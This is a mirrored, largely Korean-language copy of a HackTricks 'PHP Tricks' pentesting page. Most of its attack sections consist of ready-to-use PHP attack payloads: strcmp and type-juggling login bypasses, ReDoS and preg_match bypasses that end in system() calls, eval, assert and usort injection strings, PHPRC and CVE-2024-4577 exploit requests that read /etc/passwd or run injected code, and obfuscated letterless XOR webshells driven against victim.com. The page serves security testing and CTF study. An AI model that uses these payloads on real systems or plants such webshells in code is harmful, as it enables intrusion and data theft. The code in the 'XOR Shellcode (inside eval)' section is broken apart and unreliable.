mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
454 lines
24 KiB
Markdown
454 lines
24 KiB
Markdown
# PHP Tricks
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
## 쿠키의 일반적인 위치:
|
|
|
|
이것은 phpMyAdmin 쿠키에도 유효합니다.
|
|
|
|
쿠키:
|
|
```
|
|
PHPSESSID
|
|
phpMyAdmin
|
|
```
|
|
위치:
|
|
```
|
|
/var/lib/php/sessions
|
|
/var/lib/php5/
|
|
/tmp/
|
|
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
|
```
|
|
## PHP 비교 우회
|
|
|
|
### 느슨한 비교/타입 조작 ( == )
|
|
|
|
`==`가 PHP에서 사용되면, 비교가 예상대로 작동하지 않는 예외적인 경우가 있습니다. 이는 "=="가 동일한 타입으로 변환된 값만 비교하기 때문이며, 비교되는 데이터의 타입이 동일한지도 비교하고 싶다면 `===`를 사용해야 합니다.
|
|
|
|
PHP 비교 표: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
|
|
|
.png>)
|
|
|
|
{{#file}}
|
|
EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
|
|
{{#endfile}}
|
|
|
|
- `"string" == 0 -> True` 숫자로 시작하지 않는 문자열은 숫자와 같습니다.
|
|
- `"0xAAAA" == "43690" -> True` 10진수 또는 16진수 형식으로 구성된 문자열은 숫자가 동일할 경우 다른 숫자/문자열과 비교할 수 있으며 결과는 True입니다. (문자열의 숫자는 숫자로 해석됩니다.)
|
|
- `"0e3264578" == 0 --> True` "0e"로 시작하고 그 뒤에 어떤 것이든 오는 문자열은 0과 같습니다.
|
|
- `"0X3264578" == 0X --> True` "0"로 시작하고 그 뒤에 어떤 문자(여기서 X는 어떤 문자든 가능)와 그 뒤에 어떤 것이든 오는 문자열은 0과 같습니다.
|
|
- `"0e12334" == "0" --> True` 이는 매우 흥미로운데, 어떤 경우에는 "0"의 문자열 입력과 해시되고 비교되는 내용을 제어할 수 있습니다. 따라서 "0e"로 시작하고 어떤 문자도 없는 해시를 생성할 수 있는 값을 제공할 수 있다면, 비교를 우회할 수 있습니다. 이 형식의 **이미 해시된 문자열**은 여기에서 찾을 수 있습니다: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
|
- `"X" == 0 --> True` 문자열의 어떤 문자도 int 0과 같습니다.
|
|
|
|
자세한 정보는 [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)에서 확인할 수 있습니다.
|
|
|
|
### **in_array()**
|
|
|
|
**타입 조작**은 기본적으로 `in_array()` 함수에도 영향을 미칩니다(엄격한 비교를 하려면 세 번째 인수를 true로 설정해야 합니다):
|
|
```php
|
|
$values = array("apple","orange","pear","grape");
|
|
var_dump(in_array(0, $values));
|
|
//True
|
|
var_dump(in_array(0, $values, true));
|
|
//False
|
|
```
|
|
### strcmp()/strcasecmp()
|
|
|
|
이 함수가 **모든 인증 확인**(예: 비밀번호 확인)에 사용되고 사용자가 비교의 한 쪽을 제어할 경우, 그는 비밀번호의 값으로 문자열 대신 빈 배열을 보낼 수 있습니다 (`https://example.com/login.php/?username=admin&password[]=`) 그리고 이 확인을 우회할 수 있습니다:
|
|
```php
|
|
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
|
// Real Password
|
|
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
|
// Real Password
|
|
```
|
|
`strcasecmp()`와 동일한 오류가 발생합니다.
|
|
|
|
### 엄격한 타입 조작
|
|
|
|
`===`가 **사용되고** 있더라도 **비교가 취약해지는** 오류가 발생할 수 있습니다. 예를 들어, 비교가 **비교하기 전에 데이터를 다른 타입의 객체로 변환하는 경우**:
|
|
```php
|
|
(int) "1abc" === (int) "1xyz" //This will be true
|
|
```
|
|
### preg_match(/^.\*/)
|
|
|
|
**`preg_match()`**는 **사용자 입력을 검증**하는 데 사용될 수 있습니다(이는 **블랙리스트**에 있는 **단어/정규 표현식**이 **사용자 입력**에 **존재하는지** 확인하고, 존재하지 않으면 코드는 계속 실행될 수 있습니다).
|
|
|
|
#### New line bypass
|
|
|
|
그러나, 정규 표현식의 시작을 구분할 때 `preg_match()`는 **사용자 입력의 첫 번째 줄만 확인**합니다. 따라서 만약 어떤 방법으로 **여러 줄**로 입력을 **전송**할 수 있다면, 이 검사를 우회할 수 있습니다. 예:
|
|
```php
|
|
$myinput="aaaaaaa
|
|
11111111"; //Notice the new line
|
|
echo preg_match("/1/",$myinput);
|
|
//1 --> In this scenario preg_match find the char "1"
|
|
echo preg_match("/1.*$/",$myinput);
|
|
//1 --> In this scenario preg_match find the char "1"
|
|
echo preg_match("/^.*1/",$myinput);
|
|
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
|
echo preg_match("/^.*1.*$/",$myinput);
|
|
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
|
```
|
|
이 검사를 우회하려면 **새 줄이 포함된 값을 URL 인코딩하여 전송**할 수 있습니다 (`%0A`) 또는 **JSON 데이터를 보낼 수** 있다면 **여러 줄로 전송**하세요:
|
|
```php
|
|
{
|
|
"cmd": "cat /etc/passwd"
|
|
}
|
|
```
|
|
Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
|
|
|
|
#### **Length error bypass**
|
|
|
|
(이 우회는 PHP 5.2.5에서 시도된 것으로 보이며, PHP 7.3.15에서는 작동하지 않았습니다)\
|
|
`preg_match()`에 유효한 매우 **큰 입력**을 보낼 수 있다면, **처리할 수 없게** 되어 체크를 **우회**할 수 있습니다. 예를 들어, JSON을 블랙리스트에 올리고 있다면 다음과 같이 보낼 수 있습니다:
|
|
```bash
|
|
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
|
```
|
|
From: [https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0)
|
|
|
|
#### ReDoS 우회
|
|
|
|
Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) and [https://mizu.re/post/pong](https://mizu.re/post/pong)
|
|
|
|
<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
간단히 말해, 문제는 PHP의 `preg_*` 함수가 [PCRE 라이브러리](http://www.pcre.org/)를 기반으로 하기 때문에 발생합니다. PCRE에서는 특정 정규 표현식이 많은 재귀 호출을 사용하여 일치되며, 이는 많은 스택 공간을 사용합니다. 허용되는 재귀 호출의 수에 제한을 설정할 수 있지만, PHP에서는 이 제한이 [기본적으로 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)으로 설정되어 있어 스택에 맞지 않습니다.
|
|
|
|
[이 Stackoverflow 스레드](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error)도 이 문제에 대해 더 깊이 논의된 게시물에 링크되어 있었습니다. 우리의 작업은 이제 명확했습니다:\
|
|
**정규 표현식이 100,000회 이상의 재귀를 수행하게 만드는 입력을 전송하여 SIGSEGV를 유발하고, `preg_match()` 함수가 `false`를 반환하게 하여 애플리케이션이 우리의 입력이 악의적이지 않다고 생각하게 만든 후, 페이로드의 끝에 `{system(<verybadcommand>)}`와 같은 놀라움을 던져 SSTI --> RCE --> flag :)**.
|
|
|
|
정규 표현식 용어로, 우리는 실제로 100k "재귀"를 수행하는 것이 아니라 "백트래킹 단계"를 세고 있으며, [PHP 문서](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)에 따르면 `pcre.backtrack_limit` 변수의 기본값은 1,000,000 (1M)입니다.\
|
|
이를 달성하기 위해 `'X'*500_001`은 100만 개의 백트래킹 단계를 생성합니다 (500k 전방 및 500k 후방):
|
|
```python
|
|
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
|
```
|
|
### PHP 난독화를 위한 타입 조작
|
|
```php
|
|
$obfs = "1"; //string "1"
|
|
$obfs++; //int 2
|
|
$obfs += 0.2; //float 2.2
|
|
$obfs = 1 + "7 IGNORE"; //int 8
|
|
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
|
|
$obfs = 3+2 * (TRUE + TRUE); //int 7
|
|
$obfs .= ""; //string "7"
|
|
$obfs += ""; //int 7
|
|
```
|
|
## Execute After Redirect (EAR)
|
|
|
|
PHP가 다른 페이지로 리디렉션하고 있지만 **`Location`** 헤더가 설정된 후 **`die`** 또는 **`exit`** 함수가 호출되지 않으면, PHP는 계속 실행되어 데이터를 본문에 추가합니다:
|
|
```php
|
|
<?php
|
|
// In this page the page will be read and the content appended to the body of
|
|
// the redirect response
|
|
$page = $_GET['page'];
|
|
header('Location: /index.php?page=default.html');
|
|
readfile($page);
|
|
?>
|
|
```
|
|
## 경로 탐색 및 파일 포함 취약점
|
|
|
|
Check:
|
|
|
|
{{#ref}}
|
|
../../../pentesting-web/file-inclusion/
|
|
{{#endref}}
|
|
|
|
## 더 많은 트릭
|
|
|
|
- **register_globals**: **PHP < 4.1.1.1** 또는 잘못 구성된 경우, **register_globals**가 활성화될 수 있습니다(또는 그 동작이 모방되고 있을 수 있습니다). 이는 $\_GET와 같은 전역 변수에 값이 있는 경우, 예를 들어 $\_GET\["param"]="1234", 이를 **$param을 통해 접근할 수 있음을 의미합니다. 따라서 HTTP 매개변수를 전송함으로써 코드 내에서 사용되는 변수를 덮어쓸 수 있습니다.**
|
|
- **동일 도메인의 PHPSESSION 쿠키는 동일한 위치에 저장됩니다.** 따라서 도메인 내에서 **다른 경로에서 다른 쿠키가 사용되는 경우**, 해당 경로가 **다른 경로 쿠키의 값을 설정하여 쿠키에 접근하도록 만들 수 있습니다.**\
|
|
이렇게 하면 **두 경로가 동일한 이름의 변수를 접근할 경우**, **path1의 해당 변수 값을 path2에 적용할 수 있습니다.** 그러면 path2는 path1의 변수를 유효한 것으로 간주합니다(쿠키에 path2에 해당하는 이름을 부여함으로써).
|
|
- **사용자의 사용자 이름**이 있는 경우, 주소 **/\~\<USERNAME>**를 확인하여 php 디렉토리가 활성화되어 있는지 확인합니다.
|
|
- php 구성에 **`register_argc_argv = On`**이 설정되어 있으면, 공백으로 구분된 쿼리 매개변수가 **`array_keys($_SERVER['argv'])`**의 인수 배열을 채우는 데 사용됩니다. 이는 **CLI의 인수**처럼 작동합니다. 이 설정이 꺼져 있으면, 웹에서 호출할 때 **args 배열의 값은 `Null`**이 됩니다. 따라서 웹 페이지가 `if (empty($_SERVER['argv'])) {`와 같은 비교를 통해 웹 또는 CLI 도구로 실행되고 있는지 확인하려고 할 때, 공격자는 **GET 요청에 `?--configPath=/lalala`와 같은 매개변수를 전송할 수 있으며**, 이는 CLI로 실행되고 있다고 생각하고 해당 인수를 파싱하고 사용할 수 있습니다. 더 많은 정보는 [원본 글](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms)에서 확인하세요.
|
|
- [**php 래퍼를 사용한 LFI 및 RCE**](../../../pentesting-web/file-inclusion/index.html)
|
|
|
|
### password_hash/password_verify
|
|
|
|
이 함수들은 일반적으로 PHP에서 **비밀번호로부터 해시를 생성하고** 해시와 비교하여 비밀번호가 올바른지 **확인하는 데 사용됩니다.**\
|
|
지원되는 알고리즘은 `PASSWORD_DEFAULT`와 `PASSWORD_BCRYPT`(시작은 `$2y$`)입니다. **PASSWORD_DEFAULT는 종종 PASSWORD_BCRYPT와 동일합니다.** 현재 **PASSWORD_BCRYPT**는 **입력의 크기 제한이 72bytes**입니다. 따라서 이 알고리즘으로 72bytes보다 큰 것을 해시하려고 하면 처음 72B만 사용됩니다:
|
|
```php
|
|
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
|
False
|
|
|
|
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
|
True
|
|
```
|
|
### HTTP headers bypass abusing PHP errors
|
|
|
|
#### Causing error after setting headers
|
|
|
|
From [**this twitter thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) you can see that sending more than 1000 GET params or 1000 POST params or 20 files, PHOP은 응답에서 헤더를 설정하지 않을 것입니다.
|
|
|
|
예를 들어 CSP 헤더가 코드에서 설정되는 것을 우회할 수 있습니다:
|
|
```php
|
|
<?php
|
|
header("Content-Security-Policy: default-src 'none';");
|
|
if (isset($_GET["xss"])) echo $_GET["xss"];
|
|
```
|
|
#### 헤더 설정 전에 본문 채우기
|
|
|
|
**PHP 페이지가 오류를 출력하고 사용자가 제공한 일부 입력을 다시 에코하는 경우**, 사용자는 PHP 서버가 **헤더를 응답에 추가하려고 할 때** 오류를 발생시키도록 **충분히 긴 콘텐츠**를 출력하게 할 수 있습니다.\
|
|
다음 시나리오에서 **공격자는 서버가 큰 오류를 발생시키도록 만들었으며**, 화면에서 볼 수 있듯이 PHP가 **헤더 정보를 수정하려고 할 때, 수정할 수 없었습니다** (예를 들어 CSP 헤더가 사용자에게 전송되지 않았습니다):
|
|
|
|
.png>)
|
|
|
|
## PHP 함수에서 SSRF
|
|
|
|
페이지를 확인하세요:
|
|
|
|
{{#ref}}
|
|
php-ssrf.md
|
|
{{#endref}}
|
|
|
|
## 코드 실행
|
|
|
|
**system("ls");**\
|
|
**\`ls\`;**\
|
|
**shell_exec("ls");**
|
|
|
|
[더 유용한 PHP 함수는 여기에서 확인하세요](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
|
|
|
|
### **preg_replace()를 통한** **RCE**
|
|
```php
|
|
preg_replace(pattern,replace,base)
|
|
preg_replace("/a/e","phpinfo()","whatever")
|
|
```
|
|
"replace" 인수에서 코드를 실행하려면 최소한 하나의 일치 항목이 필요합니다.\
|
|
이 preg_replace 옵션은 **PHP 5.5.0부터 더 이상 사용되지 않습니다.**
|
|
|
|
### **Eval()을 통한 RCE**
|
|
```
|
|
'.system('uname -a'); $dummy='
|
|
'.system('uname -a');#
|
|
'.system('uname -a');//
|
|
'.phpinfo().'
|
|
<?php phpinfo(); ?>
|
|
```
|
|
### **Assert()를 통한 RCE**
|
|
|
|
이 함수는 php 내에서 **문자열로 작성된 코드를 실행**하여 **true 또는 false를 반환**할 수 있게 해줍니다 (그리고 이에 따라 실행을 변경할 수 있습니다). 일반적으로 사용자 변수는 문자열의 중간에 삽입됩니다. 예를 들어:\
|
|
`assert("strpos($_GET['page']),'..') === false")` --> 이 경우 **RCE**를 얻기 위해 다음과 같이 할 수 있습니다:
|
|
```
|
|
?page=a','NeVeR') === false and system('ls') and strpos('a
|
|
```
|
|
코드 **구문**을 **깨고**, **페이로드**를 **추가**한 다음 **다시 수정**해야 합니다. "**and" 또는 "%26%26" 또는 "|"**와 같은 **논리 연산**을 사용할 수 있습니다. "or", "||"는 작동하지 않는데, 첫 번째 조건이 참이면 우리의 페이로드가 실행되지 않기 때문입니다. 같은 이유로 ";"도 작동하지 않으며, 우리의 페이로드가 실행되지 않습니다.
|
|
|
|
**다른 옵션**은 문자열에 명령 실행을 추가하는 것입니다: `'.highlight_file('.passwd').'`
|
|
|
|
**다른 옵션** (내부 코드를 가지고 있는 경우)은 실행을 변경하기 위해 일부 변수를 수정하는 것입니다: `$file = "hola"`
|
|
|
|
### **usort()를 통한 RCE**
|
|
|
|
이 함수는 특정 함수를 사용하여 항목 배열을 정렬하는 데 사용됩니다.\
|
|
이 함수를 악용하려면:
|
|
```php
|
|
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
|
|
VALUE: );phpinfo();#
|
|
|
|
<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
|
|
```
|
|
|
|
```php
|
|
<?php
|
|
function foo($x,$y){
|
|
usort(VALUE, "cmp");
|
|
}?>
|
|
VALUE: );}[PHP CODE];#
|
|
|
|
<?php
|
|
function foo($x,$y){
|
|
usort();}phpinfo;#, "cmp");
|
|
}?>
|
|
```
|
|
코드의 나머지를 주석 처리하려면 **//**를 사용할 수 있습니다.
|
|
|
|
닫아야 할 괄호의 수를 알아내려면:
|
|
|
|
- `?order=id;}//`: 오류 메시지(`Parse error: syntax error, unexpected ';'`)가 발생합니다. 하나 이상의 괄호가 누락된 것 같습니다.
|
|
- `?order=id);}//`: **경고**가 발생합니다. 이 정도면 괜찮은 것 같습니다.
|
|
- `?order=id));}//`: 오류 메시지(`Parse error: syntax error, unexpected ')' i`)가 발생합니다. 닫는 괄호가 너무 많은 것 같습니다.
|
|
|
|
### **.httaccess를 통한 RCE**
|
|
|
|
**.htaccess**를 **업로드**할 수 있다면, 여러 가지를 **구성**하고 코드를 실행할 수 있습니다(확장자가 .htaccess인 파일이 **실행될 수 있도록 구성).
|
|
|
|
다양한 .htaccess 쉘은 [여기](https://github.com/wireghoul/htshells)에서 찾을 수 있습니다.
|
|
|
|
### 환경 변수로 인한 RCE
|
|
|
|
PHP에서 **env 변수를 수정할 수 있는** 취약점을 발견하면(파일을 업로드할 수 있는 또 다른 취약점이 필요하지만, 더 많은 연구를 통해 우회할 수 있을지도 모릅니다), 이 동작을 악용하여 **RCE**를 얻을 수 있습니다.
|
|
|
|
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): 이 환경 변수는 다른 바이너리를 실행할 때 임의의 라이브러리를 로드할 수 있게 해줍니다(이 경우에는 작동하지 않을 수 있습니다).
|
|
- **`PHPRC`** : PHP에 **구성 파일의 위치**를 지시합니다. 일반적으로 `php.ini`라고 불립니다. 자신의 구성 파일을 업로드할 수 있다면, `PHPRC`를 사용하여 PHP가 이를 가리키도록 하십시오. 두 번째 업로드된 파일을 지정하는 **`auto_prepend_file`** 항목을 추가합니다. 이 두 번째 파일은 일반 **PHP 코드**를 포함하며, 이는 다른 코드가 실행되기 전에 PHP 런타임에 의해 실행됩니다.
|
|
1. 쉘코드를 포함하는 PHP 파일을 업로드합니다.
|
|
2. 1단계에서 업로드한 파일을 실행하도록 PHP 전처리기에 지시하는 **`auto_prepend_file`** 지시어를 포함하는 두 번째 파일을 업로드합니다.
|
|
3. 2단계에서 업로드한 파일로 `PHPRC` 변수를 설정합니다.
|
|
- 이 체인을 실행하는 방법에 대한 자세한 정보는 [**원본 보고서**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)에서 확인하십시오.
|
|
- **PHPRC** - 또 다른 옵션
|
|
- 파일을 **업로드할 수 없는 경우**, FreeBSD에서 **`stdin`**을 포함하는 "파일" `/dev/fd/0`를 사용할 수 있습니다:
|
|
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
|
- 또는 RCE를 얻기 위해 **`allow_url_include`**를 활성화하고 **base64 PHP 코드**가 포함된 파일을 전처리합니다:
|
|
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
|
- 이 기술은 [**이 보고서**](https://vulncheck.com/blog/juniper-cve-2023-36845)에서 가져온 것입니다.
|
|
|
|
### XAMPP CGI RCE - CVE-2024-4577
|
|
|
|
웹 서버는 HTTP 요청을 구문 분석하고 이를 PHP 스크립트에 전달하여 [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com)와 같은 요청을 `php.exe cgi.php foo=bar`로 실행합니다. 이는 매개변수 주입을 허용합니다. 이는 본문에서 PHP 코드를 로드하기 위해 다음 매개변수를 주입할 수 있게 합니다:
|
|
```jsx
|
|
-d allow_url_include=1 -d auto_prepend_file=php://input
|
|
```
|
|
또한, PHP의 후속 정규화로 인해 0xAD 문자를 사용하여 "-" 매개변수를 주입할 수 있습니다. [**이 게시물**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/)의 익스플로잇 예제를 확인하세요.
|
|
```jsx
|
|
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
|
|
Host: {{host}}
|
|
User-Agent: curl/8.3.0
|
|
Accept: */*
|
|
Content-Length: 23
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Connection: keep-alive
|
|
|
|
<?php
|
|
phpinfo();
|
|
?>
|
|
|
|
```
|
|
## PHP Sanitization bypass & Brain Fuck
|
|
|
|
[**이 게시물에서**](https://blog.redteam-pentesting.de/2024/moodle-rce/) 매우 적은 문자로 브레인 펑크 PHP 코드를 생성하는 훌륭한 아이디어를 찾을 수 있습니다.\
|
|
또한 여러 검사를 우회할 수 있도록 허용된 함수를 실행하는 흥미로운 방법도 제안됩니다:
|
|
```php
|
|
(1)->{system($_GET[chr(97)])}
|
|
```
|
|
## PHP 정적 분석
|
|
|
|
이 함수 호출에 코드를 삽입할 수 있는지 확인하세요 (from [here](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be)):
|
|
```php
|
|
exec, shell_exec, system, passthru, eval, popen
|
|
unserialize, include, file_put_cotents
|
|
$_COOKIE | if #This mea
|
|
```
|
|
PHP 애플리케이션을 디버깅하는 경우 `/etc/php5/apache2/php.ini`에 `display_errors = On`을 추가하여 전역적으로 오류 출력을 활성화하고 apache를 재시작할 수 있습니다: `sudo systemctl restart apache2`
|
|
|
|
### PHP 코드 디오브퓨스케이션
|
|
|
|
PHP 코드를 디오브퓨스케이션하기 위해 **web**[ **www.unphp.net**](http://www.unphp.net) **를 사용할 수 있습니다.**
|
|
|
|
## PHP 래퍼 및 프로토콜
|
|
|
|
PHP 래퍼와 프로토콜은 시스템에서 **쓰기 및 읽기 보호를 우회**하고 이를 손상시킬 수 있습니다. [**자세한 정보는 이 페이지를 확인하세요**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols).
|
|
|
|
## Xdebug 인증되지 않은 RCE
|
|
|
|
`phpconfig()` 출력에서 **Xdebug**가 **활성화**되어 있는 경우 [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)를 통해 RCE를 얻으려고 시도해야 합니다.
|
|
|
|
## 변수 변수
|
|
```php
|
|
$x = 'Da';
|
|
$$x = 'Drums';
|
|
|
|
echo $x; //Da
|
|
echo $$x; //Drums
|
|
echo $Da; //Drums
|
|
echo "${Da}"; //Drums
|
|
echo "$x ${$x}"; //Da Drums
|
|
echo "$x ${Da}"; //Da Drums
|
|
```
|
|
## RCE abusing new $\_GET\["a"]\($\_GET\["b")
|
|
|
|
페이지에서 **임의 클래스의 새 객체를 생성**할 수 있다면 RCE를 얻을 수 있습니다. 방법을 배우려면 다음 페이지를 확인하세요:
|
|
|
|
{{#ref}}
|
|
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
|
|
{{#endref}}
|
|
|
|
## Execute PHP without letters
|
|
|
|
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
|
|
|
|
### Using octal
|
|
```php
|
|
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
|
|
```
|
|
### **XOR**
|
|
```php
|
|
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
|
|
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
|
|
$___=$__; #Could be not needed inside eval
|
|
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
|
|
```
|
|
### XOR 쉬운 셸 코드
|
|
|
|
[**이 글**](https://mgp25.com/ctf/Web-challenge/)에 따르면, 다음과 같은 방법으로 쉬운 셸 코드를 생성할 수 있습니다:
|
|
```php
|
|
$_="`{{{"^"?<>/"; // $_ = '_GET';
|
|
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
|
|
|
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
|
|
```
|
|
그래서, **숫자와 문자가 없는 임의의 PHP를 실행할 수 있다면** 다음과 같은 요청을 보내 임의의 PHP를 실행할 수 있습니다:
|
|
```
|
|
POST: /action.php?_=system&__=cat+flag.php
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
|
|
```
|
|
더 자세한 설명은 [https://ctf-wiki.org/web/php/php/#preg_match](https://ctf-wiki.org/web/php/php/#preg_match)에서 확인하세요.
|
|
|
|
### XOR Shellcode (inside eval)
|
|
```bash
|
|
#!/bin/bash
|
|
|
|
if [[ -z $1 ]]; then
|
|
echo "USAGE: $0 CMD"
|
|
exit
|
|
fi
|
|
|
|
CMD=$1
|
|
CODE="\$_='\
|
|
```
|
|
|
|
```php
|
|
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
|
|
```
|
|
|
|
```php
|
|
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
|
|
```
|
|
### Perl과 유사한
|
|
```php
|
|
<?php
|
|
$_=[];
|
|
$_=@"$_"; // $_='Array';
|
|
$_=$_['!'=='@']; // $_=$_[0];
|
|
$___=$_; // A
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
|
|
$___.=$__; // S
|
|
$___.=$__; // S
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++; // E
|
|
$___.=$__;
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
|
|
$___.=$__;
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
|
|
$___.=$__;
|
|
|
|
$____='_';
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
|
|
$____.=$__;
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
|
|
$____.=$__;
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
|
|
$____.=$__;
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
|
|
$____.=$__;
|
|
|
|
$_=$$____;
|
|
$___($_[_]); // ASSERT($_POST[_]);
|
|
```
|
|
{{#include ../../../banners/hacktricks-training.md}}
|